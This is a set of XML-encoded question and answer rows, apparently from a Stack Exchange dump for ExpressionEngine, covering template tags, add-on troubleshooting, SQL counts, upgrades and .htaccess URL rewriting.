  <row Id="33988" PostTypeId="1" CreationDate="2015-09-10T13:35:20.987" Score="0" ViewCount="194" Body="&lt;p&gt;I'm using Expression Engine 2.7.2 and Structure 3.3.17 and am having a problem creating a nested URL structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have one Channel &quot;Landing Pages&quot; whose entries point to the template /region/index and calls the page content like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries disable=&quot;member_data|pagination&quot; url_title=&quot;{last_segment}&quot; limit=&quot;1&quot; channel=&quot;landing_page&quot; cache=&quot;yes&quot; refresh=&quot;1500&quot;} &#xA;&#xA;    {if no_results}&#xA;        {redirect=&quot;404&quot;}&#xA;    {/if} &#xA;&#xA;    OUTPUT CONTENT.... &#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have created two test entries:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wellington Landing Page (URL title and 'Structure URL title' both &quot;wellington&quot;) - this page is able to be viewed as expected at /region/wellington/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wellington Kitchens Landing Page (URL title and Structure URL title both &quot;kitchen&quot;). This page has &quot;Wellington Landing Page&quot; specified as its Structure Parent Entry. We need to be able to view this below its parent page in the URL structure, that is at /region/wellington/kitchen/ however this returns 404. It is possible to view it at /region/anyrandomtext/kitchen/ or /region/kitchen/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried replacing the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag with &lt;code&gt;{exp:structure:entries}&lt;/code&gt; and the problem persists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something that should work? Any suggestions would be much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1345" LastEditorUserId="3579" LastEditDate="2015-09-10T13:41:41.060" LastActivityDate="2016-05-26T08:28:38.737" Title="EE and Structure nested entries" Tags="|structure|entries|segments|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="33989" PostTypeId="1" CreationDate="2015-09-10T15:39:14.873" Score="0" ViewCount="68" Body="&lt;p&gt;I'm overhauling a legacy ee 1.7 site and they use freeform pretty heavily; currently they have about 170 freeform fields(!) - is there a way to import them into a fresh install of freeform? I haven't tried to go through an upgrade path with this and I'm using a clean 2.10 build with datagrab to pull content in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to pull in the legacy freeform data particularly but if I could import all those fields it would save a lot of time/sanity!&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2016-05-18T22:24:55.653" Title="Can I import fields into freeform?" Tags="|solspace-freeform|solspace|fields|datagrab|import|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33990" PostTypeId="2" ParentId="33986" CreationDate="2015-09-10T15:47:04.473" Score="1" Body="&lt;p&gt;Looks like you can add a name=required[] parameter to each form field you want to make required:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/email/contact_form.html#required&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/add-ons/email/contact_form.html#required&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1137" LastActivityDate="2015-09-10T15:47:04.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33991" PostTypeId="1" CreationDate="2015-09-10T20:43:45.220" Score="0" ViewCount="77" Body="&lt;p&gt;Is it possible to restore a previous version of a channel entry through the DB using phpMyAdmin? If so, where in the DB would I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client's assigns are entering things in Matrix fields with bad characters like quotes and dollar signs, and it is causing errors. (And these people are school teachers!) And, it makes the entry unable to be edited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&quot;bad characters like quotes and dollar signs ... causing errors ...makes the entry unable to be edited&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When they click on the entry in the CP it just generates an error, the entry does not some up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also can not see the entry in the MySQL DB, but I can see the previous version. I thought if I could find out how to restore that by working only with the DB I could fix it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Thanks for that, @jrothafer, sorry for the noobie-ness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, the entry form for this entry does not open in the Control Panel, and the data for this part of the entry is in a Matrix channel field and would be in matrix_data (or something similar). But I think it is corrupted because I cannot find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I noticed the client's person deleted the entry and recreated it, so all of this is not so important now. But it would be good to now as the data entry people have been making this mistake once in a while.&lt;/p&gt;&#xA;" OwnerUserId="2139" LastEditorUserId="2139" LastEditDate="2015-09-12T19:28:07.240" LastActivityDate="2015-09-12T19:28:07.240" Title="How can I restore a revision through the MySQL DB?" Tags="|mysql|ee|versioning|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="33992" PostTypeId="1" AcceptedAnswerId="33994" CreationDate="2015-09-11T00:06:18.610" Score="0" ViewCount="157" Body="&lt;p&gt;I am using Solspace's Date Field Filter to group sales on a site. I need to display everything from yesterday (relative to current date) and older. I also need to do this moving forward (forecasting), so tomorrow (relative to current date). All of the dates being checked are custom date fields in EE's native date fieldtype though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    date_field=&quot;{sale_dates_and_times:date}&quot;&#xA;    date_field_start=&quot;{current_time format='%Y-%m-%d %h:%i %A'}&quot;&#xA;    channel=&quot;sales&quot;&#xA;    limit=&quot;5&quot;&#xA;    orderby=&quot;{sale_dates_and_times:date}&quot;&#xA;    sort=&quot;desc&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would need the &lt;code&gt;date_field_start&lt;/code&gt; to be yesterday or tomorrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this easily? I think I am making this harder on myself than it needs to be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;****UPDATE****&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have the date coming in like I need it now, but I am not receiving filtered results...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the &lt;a href=&quot;https://devot-ee.com/add-ons/dt-plugin&quot; rel=&quot;nofollow noreferrer&quot;&gt;DT Plugin&lt;/a&gt;, thanks to &lt;a href=&quot;http://www.royamadesign.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sam&lt;/a&gt; for pointing that out, to get the dates needed. I verified the dates by rendering them out. Since it didn't work, I even tried to use &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Variables&quot; rel=&quot;nofollow noreferrer&quot;&gt;Stash&lt;/a&gt; to pass that into the channel entries tag. Still no good. Is there something I am doing wrong &lt;a href=&quot;https://expressionengine.stackexchange.com/users/884/solspace&quot;&gt;Solspace&lt;/a&gt;? My date field is in a grid like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grid Field = &lt;code&gt;{sale_dates_and_times}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sub Fields = date | opening_time | closing_time &#xA;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{sale_dates_and_times:date}&lt;/code&gt; &lt;code&gt;{sale_dates_and_times:opening_time}&lt;/code&gt; &lt;code&gt;{sale_dates_and_times:closing_time}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set name=&quot;previous&quot;}{exp:dt day='-3' format='%Y-%m-%d %h:%i %A'}{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This renders as &lt;code&gt;2015-09-11 12:57 PM&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    date_field=&quot;{sale_dates_and_times:date}&quot;&#xA;    date_field_start=&quot;{exp:stash:get name='previous'}&quot;&#xA;    channel='sale'&#xA;    limit='5'&#xA;    orderby=&quot;{sale_dates_and_times:date}&quot;&#xA;    sort=&quot;asc&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my test I should just see 1 entry since there is one set to a previous date range, one set to current date ranges, and one set for a future date range. However, I am getting all entries returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are with the following dates:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entry-1: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Friday 09-11-2015 — 9:00am-9:00am&#xA;Saturday 09-12-2015 — 9:00am-9:00am&#xA;Sunday 09-13-2015 — 8:00am-8:00am&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Entry-2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tuesday 09-01-2015 — 9:00am-9:00am&#xA;Wednesday 09-02-2015 — 9:00am-9:00am&#xA;Thursday 09-03-2015 — 8:00am-8:00am&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Entry-3:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Friday 09-25-2015 — 9:00am-9:00am&#xA;Saturday 09-26-2015 — 9:00am-9:00am&#xA;Sunday 09-27-2015 — 8:00am-8:00am&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why would all three be rendering in this case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2015-09-11T18:31:39.177" Title="What's the best way to get yesterday's date?" Tags="|solspace|date|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33993" PostTypeId="2" ParentId="33989" CreationDate="2015-09-11T02:44:16.680" Score="0" Body="&lt;p&gt;If you were on the latest/last version of Freeform 3 and then updated to Freeform 4, there is a Migration Tool under the &lt;strong&gt;Utilities&lt;/strong&gt; tab in the Freeform module in the CP that should allow you to transfer your Freeform 3.x data and fields over to Freeform 4.x, which is EE2-compatible.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-09-11T02:44:16.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33994" PostTypeId="2" ParentId="33992" CreationDate="2015-09-11T02:51:33.593" Score="0" Body="&lt;p&gt;If you have the Calendar module installed, you could use the &lt;code&gt;{exp:calendar:date}&lt;/code&gt; tag to calculate yesterday's date: &lt;a href=&quot;https://solspace.com/docs/calendar/date/&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/calendar/date/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might need to put your code in an embed and pass the result of &lt;code&gt;{exp:calendar:date}&lt;/code&gt; in this embed, since in EE you can't put &lt;code&gt;{exp:...}&lt;/code&gt; tags inside another &lt;code&gt;{exp:...}&lt;/code&gt; tag's parameter (even if someone says they managed to pull that off, it's not recommended ;)).&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-09-11T02:51:33.593" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33995" PostTypeId="1" CreationDate="2015-09-11T07:26:16.513" Score="0" ViewCount="40" Body="&lt;p&gt;After the update the Admin CP is not working properly anymore.&#xA;The 'Edit' under 'Content' dropdown is broken. Alle the labels have cpmm_ as prefix. And the links are linking to new pages instead of edit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the problem? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grtz,&#xA;Martijn&lt;/p&gt;&#xA;" OwnerUserId="3589" LastActivityDate="2016-05-17T00:38:41.403" Title="Problems with Admin CP after updating from v2.2.2 to v2.10.1" Tags="|control-panel|update|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33996" PostTypeId="1" AcceptedAnswerId="34009" CreationDate="2015-09-11T08:51:39.143" Score="0" ViewCount="41" Body="&lt;p&gt;I'm using solspace importer (latest version) to import members in EE v2.10.1 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the importer settings form, I have a row &lt;strong&gt;Additional Member Fields&lt;/strong&gt;&#xA;There is a select where I can select custom fields and a button [Add field].&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I click the Add Field button I get this error :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An Error Was Encountered&#xA;A Unique Field Element with valid EE Field Are Required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have a clue about what it means...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT : In fact clicking that button submits the form while there are still blank fields. Is that a bug ?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="3097" LastEditorUserId="3097" LastEditDate="2015-09-11T09:20:12.107" LastActivityDate="2015-09-14T13:09:06.537" Title="Solspace importer : A Unique Field Element with valid EE Field Are Required" Tags="|solspace|solspace-importer|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33997" PostTypeId="2" ParentId="33995" CreationDate="2015-09-11T12:23:49.547" Score="0" Body="&lt;p&gt;This type of thing is almost always an issue with a failed upload during the upgrade process. Those labels (cpmm whatever) exist because the language file is missing those entries in a PHP array. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE language method replacement fails back to the array key when it can't find a &lt;code&gt;key =&amp;gt; val&lt;/code&gt; pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you make sure you followed the upgrade instructions exactly? Try reuploading your system folder. I could tell you the exact file if I was at my desk.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-09-11T12:34:40.907" LastActivityDate="2015-09-11T12:34:40.907" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="33998" PostTypeId="1" AcceptedAnswerId="34021" CreationDate="2015-09-11T14:00:44.987" Score="1" ViewCount="78" Body="&lt;p&gt;We are running reports and need a query - we're using playa and I want to get the total number of child_entries where channel_id = 16 and where the 'parent_field_id' = 68.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current query is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT exp_channel_titles.entry_id, exp_channel_titles.title, count(exp_playa_relationships.child_entry_id) AS entry_count &#xA;&#xA;FROM exp_channel_titles LEFT JOIN exp_playa_relationships ON exp_channel_titles.entry_id = exp_playa_relationships.child_entry_id &#xA;&#xA;WHERE exp_playa_relationships.parent_field_id = 68 AND exp_channel_titles.channel_id=16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I expected to see was:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Event Title - Entry ID 1218 - total articles: 788&lt;/li&gt;&#xA;&lt;li&gt;Event Title - Entry ID 2866 - total articles: 605&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What I am getting is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Event Title - Entry ID - total articles: 1393&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any thoughs how this would be achieve and what I missed?&lt;/p&gt;&#xA;" OwnerUserId="886" LastEditorUserId="722" LastEditDate="2015-09-15T13:45:18.253" LastActivityDate="2015-09-15T13:45:18.253" Title="Playa related entries count" Tags="|database|query|sql|count|query-module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="33999" PostTypeId="1" CreationDate="2015-09-11T16:37:17.963" Score="0" ViewCount="74" Body="&lt;p&gt;Upgraded from 2.5.2 to 2.10.1 and now some of the Assets stored images are missing from Matrix fields in some entries (The rows are blank with just a caption left behind and the 'Add file' button. I thought it might be down to having to up date the indexes in Assets. When I run the update I get a message saying &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There are some entries in the database that are out of date - please select the ones that you want to delete below –&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And then a list of about 50 files. When I navigate to these files in the ftp some are present and some aren't. I didn't want to delete these references in case it caused more problems.&lt;/p&gt;&#xA;" OwnerUserId="1149" LastActivityDate="2015-09-11T16:37:17.963" Title="Some Assets images missing from matrix fields after upgrade" Tags="|matrix|assets|pixelandtonic|upgrade|ee2-upgrades|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34000" PostTypeId="2" ParentId="33969" CreationDate="2015-09-11T19:03:11.383" Score="0" Body="&lt;p&gt;I presume this is a bug, but my opening tag is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;        form_name=&quot;artwork_information_enquiry&quot;&#xA;        form:role=&quot;form&quot;&#xA;        form:id=&quot;request-info-form&quot;&#xA;        form:novalidate=&quot;novalidate&#xA;        return=&quot;{segment_1}/{segment_2}/{segment_3}/success&quot;&#xA;        required=&quot;first_name|last_name|email|enquiry_artwork_title|enquiry_artwork_img_url|enquiry_country&quot;&#xA;        secure_action=&quot;yes&quot;&#xA;        secure_return=&quot;yes&quot;&#xA;        inline_errors=&quot;yes&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I change the order of the return param (more towards the top) it works!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:form&#xA;    form_name=&quot;artwork_information_enquiry&quot;&#xA;    return=&quot;{segment_1}/{segment_2}/{segment_3}/success&quot;&#xA;    form:role=&quot;form&quot;&#xA;    form:id=&quot;request-info-form&quot;&#xA;    form:novalidate=&quot;novalidate&#xA;    required=&quot;first_name|last_name|email|enquiry_artwork_title|enquiry_artwork_img_url|enquiry_country&quot;&#xA;    secure_action=&quot;yes&quot;&#xA;    secure_return=&quot;yes&quot;&#xA;    inline_errors=&quot;yes&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="777" LastActivityDate="2015-09-11T19:03:11.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34003" PostTypeId="1" CreationDate="2015-09-14T00:39:45.490" Score="0" ViewCount="80" Body="&lt;p&gt;I am using Solspace's Date Field Filter to group sales on a site. I have the date coming in like I need it, but I am not receiving filtered results...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something different I need to do in order to use the date fields from a grid field? Or is Grid usage not allowed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I verified the dates by rendering them out. Since it didn't work, I even tried to use [Stash][3] to pass that into the channel entries tag. Still no good. Is there something I am doing wrong &lt;a href=&quot;https://expressionengine.stackexchange.com/users/884/solspace&quot;&gt;Solspace&lt;/a&gt;? My date field is in a grid like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grid Field = &lt;code&gt;{sale_dates_and_times}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sub Fields = date | opening_time | closing_time &#xA;or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{sale_dates_and_times:date}&lt;/code&gt; &lt;code&gt;{sale_dates_and_times:opening_time}&lt;/code&gt; &lt;code&gt;{sale_dates_and_times:closing_time}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    date_field=&quot;{sale_dates_and_times:date}&quot;&#xA;    date_field_start=&quot;{current_time format='%Y-%m-%d %h:%i %A'}&quot;&#xA;    channel='sale'&#xA;    limit='5'&#xA;    orderby=&quot;{sale_dates_and_times:date}&quot;&#xA;    sort=&quot;asc&quot;&#xA;    paginate=&quot;bottom&quot;&#xA;    dynamic=&quot;no&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my test I should just see 1 entry since there is one set to a previous date range, one set to current date ranges, and one set for a future date range. However, I am getting all entries returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These are with the following dates:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entry-1: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Friday 10-01-2015 — 9:00am-9:00am&#xA;Saturday 10-02-2015 — 9:00am-9:00am&#xA;Sunday 10-03-2015 — 8:00am-8:00am&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Entry-2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Tuesday 08-01-2015 — 9:00am-9:00am&#xA;Wednesday 08-02-2015 — 9:00am-9:00am&#xA;Thursday 08-03-2015 — 8:00am-8:00am&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Entry-3:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Friday 12-25-2015 — 9:00am-9:00am&#xA;Saturday 12-26-2015 — 9:00am-9:00am&#xA;Sunday 129-27-2015 — 8:00am-8:00am&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why would all three be rendering in this case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2015-09-14T00:39:45.490" Title="Date Field Filter and Date fields inside of Grid" Tags="|solspace|grid|date-field-filter|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34004" PostTypeId="1" CreationDate="2015-09-14T07:57:50.660" Score="0" ViewCount="47" Body="&lt;p&gt;Just wondering if anyone has figured the best way to use AngularJS vars within an EE form (Solspace Favorites in this case) as the entry id does not exist when the form tag get's processed in the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: {exp:favorites:info entry_id=&quot;{{ article.entry_id }}&quot;} wouldn't work as the entry_id gets parsed in the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Alberto&lt;/p&gt;&#xA;" OwnerUserId="3235" LastActivityDate="2015-09-14T07:57:50.660" Title="Solspace Favorites and AngularJS" Tags="|solspace|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34006" PostTypeId="1" CreationDate="2015-09-14T10:07:22.847" Score="0" ViewCount="156" Body="&lt;p&gt;In our site we have a news section, where we are showing a list of 10 news per page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pagination is created OK, but when I click on page number link it creates urls like &lt;code&gt;http://example.com/news/P10&lt;/code&gt; we want to change it to something more readable by users and Google as &lt;code&gt;http://example.com/news/page=1&lt;/code&gt;, &lt;code&gt;http://example.com/news/page=2&lt;/code&gt; something like this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We tried a few plugins but most of the plugins are out-dated and doesn't work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone please tell us the correct way to fix this?&lt;/p&gt;&#xA;" OwnerUserId="6584" LastActivityDate="2016-06-01T05:11:42.143" Title="How to change &quot;P4&quot; paging number format in url?" Tags="|pagination|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34007" PostTypeId="1" AcceptedAnswerId="34014" CreationDate="2015-09-14T10:46:24.443" Score="1" ViewCount="65" Body="&lt;p&gt;&lt;strong&gt;SHORT ANSWER :&lt;/strong&gt; YOU CAN'T TELL&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I have 2 member groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a registration is not complete, (email not confirmed) the registred user is placed in Pending member group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I know which group it would have been assigned to if he had completed the registration process ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a side note : I use MSM, is there any way to know at least which site the member tried to register to ?&lt;/p&gt;&#xA;" OwnerUserId="3097" LastEditorUserId="3097" LastEditDate="2015-10-01T05:27:57.637" LastActivityDate="2015-10-01T05:27:57.637" Title="to which member group would belong pending members?" Tags="|members|multi-site-manager|registration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34008" PostTypeId="1" CreationDate="2015-09-14T11:36:50.220" Score="0" ViewCount="1717" Body="&lt;p&gt;I have a URL like &lt;a href=&quot;http://www.psreducators.com/agent-profile/?u=donald-mark&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.psreducators.com/agent-profile/?u=donald-mark&lt;/a&gt;, &#xA;but I want the users to see the URL as &lt;a href=&quot;http://www.psreducators.com/agent-profile/donald-mark&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.psreducators.com/agent-profile/donald-mark&lt;/a&gt;. (&lt;em&gt;donald-mark&lt;/em&gt; is the user profile name.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this using .htaccess RewriteRule directives?&lt;/p&gt;&#xA;" OwnerUserId="6659" LastEditorUserId="1875" LastEditDate="2019-08-14T23:08:34.123" LastActivityDate="2022-12-12T17:03:25.423" Title="How can I change URL using .htaccess RewriteRule directives?" Tags="|php|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="34009" PostTypeId="2" ParentId="33996" CreationDate="2015-09-14T13:09:06.537" Score="2" Body="&lt;p&gt;Thanks to a hint from Nicolas @ solspace's support, we found that a little htacces was blocking access to a javascript file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Below code breaks solspace's importer&lt;/strong&gt; (and everything member related)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Prevent direct access to EE Member area&#xA;# ------------------------------&#xA;RewriteCond %{REQUEST_URI} (member)&#xA;RewriteRule ^(.*)$ http://%{SERVER_NAME}/404 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As these two lines are quite widely used It might help someone else running into the same issue.&lt;/p&gt;&#xA;" OwnerUserId="3097" LastActivityDate="2015-09-14T13:09:06.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34010" PostTypeId="2" ParentId="32866" CreationDate="2015-09-14T13:56:29.080" Score="1" Body="&lt;p&gt;Ok I have decided to set https as my default  protocol&#xA;So i changed this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $protocol= (isset($_SERVER['HTTPS']) &amp;amp;&amp;amp;     $_SERVER['HTTP'] == 'on') ? 'https://' : 'http://';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $protocol=  'https://';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This has sorted my issues and I hope to move the whole site to https soon&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-09-14T13:56:29.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34011" PostTypeId="1" AcceptedAnswerId="34013" CreationDate="2015-09-14T16:58:16.543" Score="2" ViewCount="152" Body="&lt;p&gt;I'm trying to process a payment with Stripe, but am getting an error after the form submits:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Call to a member function retrieve() on a non-object in /home/redchair/ee/expressionengine/third_party/brilliant_retail/core/gateway/gateway.stripe.php on line 406&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any thoughts what the issue may be?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s. BrilliantRetail 1.8.0&lt;/p&gt;&#xA;" OwnerUserId="6660" LastActivityDate="2015-09-14T17:09:51.927" Title="BrilliantRetail: Stripe gateway is not working" Tags="|brilliantretail|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
